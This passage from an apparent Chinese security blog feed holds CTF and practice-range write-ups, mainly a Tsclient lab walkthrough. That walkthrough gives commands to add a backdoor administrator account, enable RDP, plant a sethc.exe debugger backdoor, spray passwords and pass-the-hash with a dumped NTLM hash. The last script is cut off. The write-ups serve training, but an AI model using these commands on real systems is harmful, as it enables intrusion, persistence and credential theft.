class="line">}</span><br></pre></td></tr></table></figure><p>这样我们就结束了这个版本的两个攻击方法的调试和复现，然后如果我们要使用刚才的方式来走这个链子的调用emmm<br>其实是一样的<br>先传dhcp那个，再写driverClassName再写loader再写classloader</p>]]></content>
<summary type="html"><p>我们在JSON.parseObject上打断点，跟进到这里<br>
<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202410151838247.png" alt="image.p</summary>
<category term="Java" scheme="http://fault123.github.io/tags/Java/"/>
</entry>
<entry>
<title>春秋云境-Tsclient</title>
<link href="http://fault123.github.io/2024/09/16/Tsclient/"/>
<id>http://fault123.github.io/2024/09/16/Tsclient/</id>
<published>2024-09-15T16:00:00.000Z</published>
<updated>2024-09-17T10:39:42.865Z</updated>
<content type="html"><![CDATA[<h2 id="flag01"><a class="headerlink" href="#flag01"></a>flag01</h2><p>在使用fscan扫描的时候发现存在sqlserver（mssql）弱口令，使用MDUT连接，然后在公网vps起teamserver，往mssql中传cs木马直接上线<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202409171446726.png" alt="image.png" loading="lazy"><br>最后发现需要提权，因为是mssql系列，考虑Potato提权<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202409171446266.png" alt="image.png" loading="lazy"><br>使用SweetPotato执行beacon.exe实现system权限木马上线<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202409171447922.png" alt="image.png" loading="lazy"><br>然后在admin中找到flag01<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202409171447599.png" alt="image.png" loading="lazy"><br>这里是我创建了一个新用户，登录进去之后访问的flag01</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">net user fault qwer1234! /add</span><br><span class="line">net localgroup administrators fault /add</span><br><span class="line">REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f</span><br></pre></td></tr></table></figure><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202409171447970.png" alt="image.png" loading="lazy"></p><h2 id="flag02"><a class="headerlink" href="#flag02"></a>flag02</h2><p>然后我们继续探测内网，传一个fscan上去扫描内网，发现dc机器<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202409171447580.png" alt="image.png" loading="lazy"><br>到这里，我们搜集用户信息</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">shell net user</span><br></pre></td></tr></table></figure><p>找到还有一个john用户，然后我们尝试看看这个用户是不是在线用户，是的话我们可以考虑直接注入进程</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">shell quser || qwinst</span><br></pre></td></tr></table></figure><p>发现是在线用户，我们直接进行进程注入<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202409171448199.png" alt="image.png" loading="lazy"><br>这样我们就能以john用户登录这台机器了<br>执行net use时发现一个敏感文件，获得提示说要劫持镜像，并且获得一个用户名和密码，这里我们使用密码喷洒看看，不过在此之前最重要的就是代理搭建，这里我使用了chisel<br><a href="https://github.com/jpillora/chisel/releases/tag/v1.10.0">https://github.com/jpillora/chisel/releases/tag/v1.10.0</a><br>在自己的vps上起<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202409171452044.png" alt="image.png" loading="lazy"><br>再用我们起初拿到权限的那个win当跳板机<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202409171454931.png" alt="image.png" loading="lazy"><br>再在自己的kali中的proxychains中这样配置<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202409171455635.png" alt="image.png" loading="lazy"><br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202409171839351.png" alt="image.png" loading="lazy"><br><br>之后使用impacket进行密码喷洒，喷洒到了，但是发现密码过期了，那么我们就需要修改密码了</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'</span><br></pre></td></tr></table></figure><p><img src="images/Pasted%20image%2020240917123456.png" alt="" loading="lazy"><br>修改密码如下</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 -q python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'fault@2444'</span><br></pre></td></tr></table></figure><p>然后开始测试内网中开了rdp服务的机器，看看哪个能登上去，最后发现是46这台机器<br>然后提示镜像劫持，我们使用如下命令</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"</span><br></pre></td></tr></table></figure><p>之后在开始界面锁定用户，连按五下shift就可以获得system权限，用这个权限就可以拿到flag02</p><h2 id="flag03"><a class="headerlink" href="#flag03"></a>flag03</h2><p>之后我们使用这个权限来上线cs木马<br>这里我们需要使用刚才已经上线的木马当作listener来使用<br><img src="images/Pasted%20image%2020240917130622.png" alt="" loading="lazy"><br>之后我们进行域内的信息搜集</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">logonpasswords </span><br><span class="line">shell net user /domain </span><br><span class="line">shell net group "domain admins" /domain</span><br></pre></td></tr></table></figure><p>之后我们直接往这个已经有system权限的机器中传mimikatz来抓hash<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202409171839056.png" alt="image.png" loading="lazy"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains python3 smbexec.py -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 administrator@172.22.8.15</span><br></pre></td></tr></table></figure><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202409171526047.png" alt="image.png" loading="lazy"><br>至此我们就拿到了三个flag</p>]]></content>
<summary type="html"><h2 id="flag01"><a class="headerlink" href="#flag01"></a>flag01</h2>
<p>在使用fscan扫描的时候发现存在sqlserver（mssql）弱口令，使用MDUT连接，然后在公网vps起teamserver，往m</summary>
<category term="Web" scheme="http://fault123.github.io/tags/Web/"/>
<category term="渗透测试" scheme="http://fault123.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
<category term="域相关" scheme="http://fault123.github.io/tags/%E5%9F%9F%E7%9B%B8%E5%85%B3/"/>
<category term="春秋云境" scheme="http://fault123.github.io/tags/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83/"/>
</entry>
<entry>
<title>CCS巅峰极客wp --by 图书馆五楼风很大</title>
<link href="http://fault123.github.io/2024/08/18/CCS%E5%B7%85%E5%B3%B0%E6%9E%81%E5%AE%A2wp%20--by%20%E5%9B%BE%E4%B9%A6%E9%A6%86%E4%BA%94%E6%A5%BC%E9%A3%8E%E5%BE%88%E5%A4%A7/"/>
<id>http://fault123.github.io/2024/08/18/CCS%E5%B7%85%E5%B3%B0%E6%9E%81%E5%AE%A2wp%20--by%20%E5%9B%BE%E4%B9%A6%E9%A6%86%E4%BA%94%E6%A5%BC%E9%A3%8E%E5%BE%88%E5%A4%A7/</id>
<published>2024-08-17T16:00:00.000Z</published>
<updated>2024-08-18T13:48:34.839Z</updated>
<content type="html"><![CDATA[<h4 id="队伍情况"><a class="headerlink" href="#队伍情况"></a>队伍情况</h4><h5 id="队伍名称"><a class="headerlink" href="#队伍名称"></a>队伍名称</h5><p><strong>图书馆五楼风很大</strong></p><h5 id="队伍排名"><a class="headerlink" href="#队伍排名"></a>队伍排名</h5><p><strong>rk4</strong></p><h5 id="队伍成员"><a class="headerlink" href="#队伍成员"></a>队伍成员</h5><p><strong>k1sme4<br>TenMap1e<br>am0unt<br>fault</strong></p><h4 id="Misc-简历"><a class="headerlink" href="#Misc-简历"></a>[Misc]简历</h4><blockquote><p>solved by k1sme4</p></blockquote><p>🩸🩸 查壳，有UPX壳： <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817170639.png" alt="Pasted image 20240817170639.png" loading="lazy"><br>脱壳后IDA及沙箱分析无果，直接foremost得到一张简历图片：<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817164958.png" alt="Pasted image 20240817164958.png" loading="lazy"><br>zsteg得到一个<code>default.a</code>的下载链接： <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817165207.png" alt="Pasted image 20240817165207.png" loading="lazy"><br>分析<code>default.a</code>，可以看到大量重复的<code>yyttddd</code>： <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817165909.png" alt="Pasted image 20240817165909.png" loading="lazy"><br>用厨子xor一下，得到一个新的exe文件：<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817170036.png" alt="Pasted image 20240817170036.png" loading="lazy"><br>沙箱未能分析出网络行为，通过IDA分析，可以看到明显的python特征： <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817170514.png" alt="Pasted image 20240817170514.png" loading="lazy"><br>尝试使用<code>pyinstxtractor</code>解包失败，最后strings看到了关键信息： <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817170902.png" alt="Pasted image 20240817170902.png" loading="lazy"><br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817170949.png" alt="Pasted image 20240817170949.png" loading="lazy"><br>那么思路就很明确了，需要用pupy相关的工具解包，在大量搜索尝试后找到以下可用项目：<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817171131.png" alt="Pasted image 20240817171131.png" loading="lazy"><br>安装好依赖库后尝试运行，会出现报错： <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817171302.png" alt="Pasted image 20240817171302.png" loading="lazy"><br>对项目中的<code>main.py</code>的<code>2.7</code>参数尝试多种方法调整未能解决，遂详细审了一下报错，发现问题来自<code>python2</code>的<code>uncompyle6</code>库中<code>main.py</code>的一条<code>assert</code>语句，于是选择直接将这行注释掉：<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817171815.png" alt="Pasted image 20240817171815.png" loading="lazy"><br>再次运行，虽然最后会出现报错，但是需要的C2也已经成功输出了： <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817171940.png" alt="Pasted image 20240817171940.png" loading="lazy"><br>MD5后包上<code>flag{}</code>即可，最终flag：</p><p>flag{b57758d5acc923137eef453239ba685b}</p><h4 id="Reverse-babyre"><a class="headerlink" href="#Reverse-babyre"></a>[Reverse]babyre</h4><blockquote><p>solved by k1sme4</p></blockquote><p>三位三位加密，而且重叠：<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/1723892674305-6c8dc0a7-12af-4e8e-ba6b-eabd22c134b2.png" alt="1723892674305-6c8dc0a7-12af-4e8e-ba6b-eabd22c134b2.png" loading="lazy"><br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/1723892692610-2f955d84-1c71-4f6c-87fd-50e996cc2896.png" alt="1723892692610-2f955d84-1c71-4f6c-87fd-50e996cc2896.png" loading="lazy"><br>先进行sha256，然后异或，异或的值为原来的3位字符： <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/1723892709766-f24f1bf6-ff45-4a6e-9e9d-a358635a2ef0.png" alt="1723892709766-f24f1bf6-ff45-4a6e-9e9d-a358635a2ef0.png" loading="lazy"><br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/1723892751416-afbd0ec2-c5f4-4dd7-890e-726e1f0e108c.png" alt="1723892751416-afbd0ec2-c5f4-4dd7-890e-726e1f0e108c.png" loading="lazy"><br>于是选择直接爆破，得到：</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"> -48-79-80-bf0bd17719429f37-39a4-748f4a37-472977279380b8a}8fb93794a9a49f8a-8a39a4-ag{b-bbd1bfed17ea-f8afb-feaflag{1lag{19</span><br></pre></td></tr></table></figure><p>因为有重叠而且打乱了顺序，这里选择把得到的字符串3个3个的划分，开头肯定为<code>fla</code>，因为存在重叠，找到开头为<code>la(lag)</code>的字符，然后把g拼上去，再找ag开头的字符，以此类推，递归爆破即可，exp如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"> import hashlib </span><br><span class="line"> from itertools import product </span><br><span class="line"> from string import printable </span><br><span class="line"> from tqdm import tqdm </span><br><span class="line"> dic = {} </span><br><span class="line"> for i in tqdm(product(printable,repeat=3)): </span><br><span class="line"> key="".join(list(i)) </span><br><span class="line"> data = list(bytes.fromhex(hashlib.sha256(key.encode('utf-8')).hexdigest() )) </span><br><span class="line"> akey = list(map(ord, key)) </span><br><span class="line"> for _ in range(len(data)): </span><br><span class="line"> data[_] ^= akey[_ % 3] </span><br><span class="line"> dic[bytes(data)]=key </span><br><span class="line"> </span><br><span class="line"> enc=[ 0xEB, 0x74, 0x46, 0x4F, 0x79, 0x24, 0xC5, 0x62, 0x10, 0xCB, </span><br><span class="line"> 0xFF, 0xC5, 0xA2, 0x39, 0xBE, 0x03, 0x99, 0xED, 0x2C, 0x8F, </span><br><span class="line"> 0xB9, 0x54, 0x2B, 0xA7, 0xC5, 0x8A, 0x7E, 0x56, 0x0F, 0x35, </span><br><span class="line"> 0x2C, 0xA0, 0x3E, 0xE5, 0xE0, 0x0A, 0x6E, 0xA9, 0x38, 0xCF, </span><br><span class="line"> 0x85, 0xF8, 0x82, 0xC7, 0x99, 0xD7, 0x8B, 0xC6, 0x82, 0x22, </span><br><span class="line"> 0x54, 0x28, 0xF4, 0xE5, 0x56, 0xD0, 0x47, 0xF1, 0x5E, 0x57, </span><br><span class="line"> 0x66, 0x85, 0x5C, 0x04, 0x66, 0x0D, 0xC7, 0x21, 0x81, 0x95, </span><br><span class="line"> 0x4C, 0xF9, 0x97, 0x6E, 0x57, 0x05, 0xCB, 0xAA, 0x48, 0x3D, </span><br><span class="line"> 0x2A, 0xAB, 0x5A, 0x69, 0x28, 0x3D, 0x68, 0xE4, 0xF7, 0x4C, </span><br><span class="line"> 0x23, 0xCF, 0xA8, 0xC2, 0x26, 0xD0, 0xF9, 0x41, 0xE7, 0xF4, </span><br><span class="line"> 0xFF, 0x99, 0x60, 0xF1, 0xDA, 0x67, 0x7E, 0x9D, 0xBF, 0x98, </span><br><span class="line"> 0x14, 0xB5, 0xB3, 0xE2, 0xD7, 0x99, 0x07, 0x4A, 0xC0, 0x12, </span><br><span class="line"> 0x0F, 0x21, 0x2F, 0x3A, 0x52, 0xC3, 0x7F, 0xE3, 0x35, 0xD5, </span><br><span class="line"> 0x6D, 0xB4, 0xBD, 0x21, 0x46, 0x00, 0x04, 0x9F, 0x7F, 0x95, </span><br><span class="line"> 0x0C, 0x01, 0xFA, 0xBD, 0x86, 0x25, 0x06, 0x56, 0x07, 0x30, </span><br><span class="line"> 0x4F, 0x17, 0xAE, 0xF3, 0xC0, 0xF0, 0x17, 0x7F, 0x9B, 0x3E, </span><br><span class="line"> 0xBD, 0xE5, 0x66, 0x33, 0x46, 0x60, 0x6C, 0xB3, 0x07, 0xF1, </span><br><span class="line"> 0x64, 0x5F, 0x00, 0x6D, 0xB0, 0x88, 0xF3, 0x4F, 0x7D, 0x44, </span><br><span class="line"> 0xBE, 0x95, 0x43, 0xA1, 0x39, 0x3B, 0x29, 0x50, 0x6D, 0x1D, </span><br><span class="line"> 0x31, 0x81, 0x44, 0x60, 0xFE, 0x7B, 0xAC, 0x48, 0xBD, 0xBB, </span><br><span class="line"> 0x8E, 0x35, 0x41, 0x28, 0xE7, 0x53, 0x5C, 0xE7, 0x3B, 0x16, </span><br><span class="line"> 0x18, 0xC5, 0x94, 0xD9, 0xD1, 0xB9, 0xBF, 0x71, 0x48, 0xA7, </span><br><span class="line"> 0xD7, 0x70, 0x77, 0xE9, 0xA7, 0xFF, 0xA0, 0xBE, 0x1C, 0xFA, </span><br><span class="line"> 0x98, 0x00, 0xFE, 0x33, 0x64, 0xF9, 0xE7, 0x30, 0x45, 0x57, </span><br><span class="line"> 0x97, 0x40, 0x45, 0xE0, 0xC9, 0x50, 0xB8, 0xF3, 0x44, 0x44, </span><br><span class="line"> 0x32, 0xC1, 0x6A, 0xB7, 0xDD, 0xEE, 0x37, 0x1F, 0x60, 0x26, </span><br><span class="line"> 0xFA, 0x2D, 0x6F, 0xC1, 0x43, 0x59, 0x8A, 0x9E, 0xE9, 0xE1, </span><br><span class="line"> 0x27, 0x36, 0xEA, 0xBD, 0x51, 0x5B, 0xAE, 0x24, 0xBB, 0x03, </span><br><span class="line"> 0xE4, 0xC0, 0x62, 0xDD, 0xC2, 0x63, 0xF4, 0xA1, 0x8C, 0x3E, </span><br><span class="line"> 0x5C, 0x10, 0xA4, 0xCC, 0x88, 0xE1, 0x9B, 0x04, 0x59, 0x2B, </span><br><span class="line"> 0x86, 0x4A, 0xC8, 0x83, 0xD8, 0xB9, 0x94, 0xEE, 0xB2, 0xC4, </span><br><span class="line"> 0x64, 0x96, 0xB3, 0x41, 0x6B, 0x00, 0x0C, 0x9A, 0x34, 0x4A, </span><br><span class="line"> 0x4F, 0x3C, 0xF2, 0xC3, 0x0D, 0xA6, 0xDD, 0x57, 0xB7, 0xD3, </span><br><span class="line"> 0x70, 0x1C, 0xDC, 0xB9, 0x41, 0x8E, 0xAE, 0x8A, 0x04, 0x70, </span><br><span class="line"> 0xC2, 0xAD, 0x26, 0x68, 0xEC, 0xF0, 0xE3, 0xAE, 0x6B, 0x6A, </span><br><span class="line"> 0x29, 0xF6, 0xAE, 0x3C, 0x23, 0xE3, 0x0F, 0x42, 0x57, 0x1D, </span><br><span class="line"> 0xFC, 0x50, 0x71, 0x71, 0xD1, 0x73, 0xF9, 0x28, 0x71, 0x8E, </span><br><span class="line"> 0x2A, 0x5D, 0x18, 0xC4, 0x3F, 0x7A, 0x5B, 0x20, 0xE1, 0x25, </span><br><span class="line"> 0xA6, 0x42, 0x1E, 0xFB, 0xEF, 0xA5, 0x03, 0x4B, 0xF4, 0x4B, </span><br><span class="line"> 0x5E, 0x66, 0xEF, 0x90, 0x12, 0x4E, 0xE2, 0xCF, 0xFD, 0x9A, </span><br><span class="line"> 0xAC, 0xE7, 0xC4, 0x93, 0x56, 0xA6, 0x4A, 0xDF, 0xFB, 0xA0, </span><br><span class="line"> 0xD4, 0x4D, 0x29, 0xB1, 0x25, 0xAB, 0x8E, 0x98, 0x38, 0x6E, </span><br><span class="line"> 0xD9, 0x11, 0x29, 0xB0, 0x19, 0x7A, 0xE9, 0xA6, 0x42, 0xC1, </span><br><span class="line"> 0x73, 0x57, 0x8E, 0xFD, 0x47, 0x84, 0xD1, 0xEE, 0x08, 0x7C, </span><br><span class="line"> 0xE7, 0x65, 0xA7, 0x14, 0x64, 0x0F, 0x9A, 0xA8, 0x67, 0xA4, </span><br><span class="line"> 0xAD, 0x87, 0x92, 0x29, 0xF1, 0x71, 0x20, 0x37, 0xD5, 0x22, </span><br><span class="line"> 0xB5, 0x22, 0x6B, 0x2D, 0xC7, 0x44, 0x0E, 0xFC, 0xB7, 0x53, </span><br><span class="line"> 0xEC, 0x8A, 0x52, 0xC2, 0x9C, 0xF1, 0xFB, 0x9B, 0xD8, 0x5F, </span><br><span class="line"> 0xA6, 0x5F, 0xDA, 0x70, 0xB1, 0x26, 0x1E, 0x14, 0x3F, 0x94, </span><br><span class="line"> 0x06, 0xD0, 0x0D, 0x90, 0xAA, 0x0F, 0x55, 0x31, 0x06, 0x52, </span><br><span class="line"> 0xF3, 0xF9, 0x08, 0xD7, 0xC1, 0xE5, 0xA8, 0x41, 0xF7, 0x7E, </span><br><span class="line"> 0xBD, 0x30, 0x14, 0xFC, 0xA2, 0x3C, 0xB2, 0x23, 0xF8, 0x91, </span><br><span class="line"> 0x5D, 0x77, 0x30, 0xAF, 0xC7, 0x27, 0x6F, 0x1C, 0x0F, 0xC7, </span><br><span class="line"> 0xEA, 0x33, 0xA3, 0x08, 0x35, 0x53, 0xD2, 0x68, 0x4D, 0x96, </span><br><span class="line"> 0x4E, 0xC7, 0xE4, 0xA9, 0x20, 0x5D, 0xEE, 0x6F, 0xCF, 0xEA, </span><br><span class="line"> 0xDA, 0x8B, 0x58, 0x9C, 0xF4, 0x83, 0x26, 0xAF, 0x2D, 0xEB, </span><br><span class="line"> 0xF5, 0x6D, 0xB4, 0x2A, 0x4D, 0xFD, 0xF7, 0x4B, 0xF9, 0xCB, </span><br><span class="line"> 0x0A, 0x34, 0xBF, 0xD9, 0x7B, 0x90, 0xB8, 0x3E, 0x17, 0xE3, </span><br><span class="line"> 0x1F, 0xE0, 0xA4, 0x8B, 0x54, 0xC9, 0x4A, 0xC4, 0x17, 0x5B, </span><br><span class="line"> 0x46, 0x30, 0x2D, 0x5E, 0x8B, 0x38, 0xD7, 0xCB, 0x42, 0xE6, </span><br><span class="line"> 0x18, 0xAE, 0xC9, 0x19, 0x7D, 0x43, 0xB1, 0xB3, 0x68, 0x91, </span><br><span class="line"> 0xA1, 0x8C, 0xDC, 0x5C, 0xA5, 0x7F, 0x20, 0x28, 0x41, 0x87, </span><br><span class="line"> 0xFE, 0x69, 0x88, 0xD8, 0x60, 0xED, 0x46, 0x07, 0x6F, 0x77, </span><br><span class="line"> 0x9B, 0x08, 0x8D, 0x2F, 0xA7, 0x8A, 0x79, 0x8A, 0x55, 0xDC, </span><br><span class="line"> 0xC6, 0xE6, 0x57, 0xE8, 0xB1, 0x01, 0xA2, 0x3B, 0x9F, 0x8A, </span><br><span class="line"> 0xDE, 0x02, 0xF6, 0x96, 0xD9, 0x05, 0xF6, 0x3C, 0x62, 0x6C, </span><br><span class="line"> 0x3E, 0x07, 0xFD, 0x06, 0x00, 0x2B, 0x20, 0x30, 0xB2, 0x0F, </span><br><span class="line"> 0xAF, 0xF0, 0x26, 0x25, 0xD9, 0xB8, 0x75, 0xA4, 0xB7, 0x4D, </span><br><span class="line"> 0xD4, 0x21, 0xCC, 0xB5, 0x41, 0x1C, 0xC3, 0x09, 0xEB, 0xE7, </span><br><span class="line"> 0xCC, 0x75, 0xBE, 0xD4, 0x08, 0xF9, 0xF4, 0x86, 0xE6, 0xCF, </span><br><span class="line"> 0xFF, 0x4F, 0x14, 0xAC, 0x36, 0xDF, 0xFB, 0x64, 0x3C, 0x27, </span><br><span class="line"> 0x21, 0xA3, 0xAD, 0x4C, 0xA9, 0x54, 0x15, 0xD5, 0x9C, 0xF3, </span><br><span class="line"> 0xC3, 0xEE, 0x85, 0xFF, 0x75, 0xF2, 0xBC, 0x6F, 0xFD, 0x1F, </span><br><span class="line"> 0xC0, 0x94, 0x99, 0x54, 0x4B, 0x72, 0x18, 0xF5, 0x93, 0x7E, </span><br><span class="line"> 0x8B, 0x73, 0xC7, 0x76, 0x4D, 0xEB, 0xC8, 0x40, 0x26, 0x6B, </span><br><span class="line"> 0x14, 0xF3, 0xD0, 0x49, 0xAE, 0x95, 0x11, 0xAB, 0x13, 0x5C, </span><br><span class="line"> 0xC7, 0x64, 0xC5, 0xC6, 0xF1, 0x0C, 0x87, 0xC0, 0x87, 0xBC, </span><br><span class="line"> 0x8D, 0x31, 0x81, 0xD7, 0x47, 0x06, 0x30, 0xD4, 0xA9, 0x83, </span><br><span class="line"> 0xFE, 0x40, 0x1F, 0x46, 0xC9, 0x9F, 0x4A, 0x52, 0xD8, 0x1E, </span><br><span class="line"> 0x8D, 0x41, 0x46, 0x21, 0x1B, 0xFA, 0x28, 0xAE, 0x52, 0xC9, </span><br><span class="line"> 0xD0, 0xE3, 0x97, 0x4A, 0xFB, 0x2D, 0x83, 0x0F, 0x44, 0x31, </span><br><span class="line"> 0x36, 0xF4, 0x46, 0x4D, 0xDF, 0xEF, 0xA3, 0x06, 0x88, 0xBE, </span><br><span class="line"> 0x27, 0xA8, 0xA0, 0x15, 0x8A, 0x85, 0xB8, 0x04, 0x0C, 0x2C, </span><br><span class="line"> 0x04, 0x59, 0x8F, 0x21, 0x11, 0x75, 0x1D, 0x29, 0x6F, 0x86, </span><br><span class="line"> 0x2F, 0xFE, 0xBC, 0x2F, 0xB5, 0x0D, 0x65, 0x30, 0xFE, 0x6C, </span><br><span class="line"> 0x09, 0xD7, 0x0F, 0x54, 0x66, 0x4E, 0xD2, 0xF2, 0xC4, 0x43, </span><br><span class="line"> 0x65, 0xD6, 0x47, 0xB3, 0xE6, 0xD5, 0xBB, 0x45, 0x70, 0x7C, </span><br><span class="line"> 0x8B, 0x18, 0xC8, 0xA2, 0x48, 0xB1, 0x53, 0x30, 0x96, 0x05, </span><br><span class="line"> 0xB3, 0x4E, 0xD9, 0xCE, 0xF4, 0x21, 0x72, 0x11, 0x4F, 0x52, </span><br><span class="line"> 0xAE, 0x47, 0xE8, 0x06, 0x31, 0x31, 0xEF, 0xB2, 0xF1, 0xAD, </span><br><span class="line"> 0x55, 0x86, 0x8D, 0x64, 0x87, 0x22, 0x11, 0x1B, 0x00, 0xCF, </span><br><span class="line"> 0xE2, 0x13, 0x24, 0x63, 0xF9, 0x65, 0x9A, 0xA1, 0xF8, 0x29, </span><br><span class="line"> 0x8E, 0xD2, 0xFB, 0xD1, 0x23, 0x90, 0x71, 0xDC, 0x3A, 0xCF, </span><br><span class="line"> 0x63, 0x66, 0x1C, 0x77, 0xA5, 0xAC, 0xBB, 0x54, 0x41, 0x0F, </span><br><span class="line"> 0xF3, 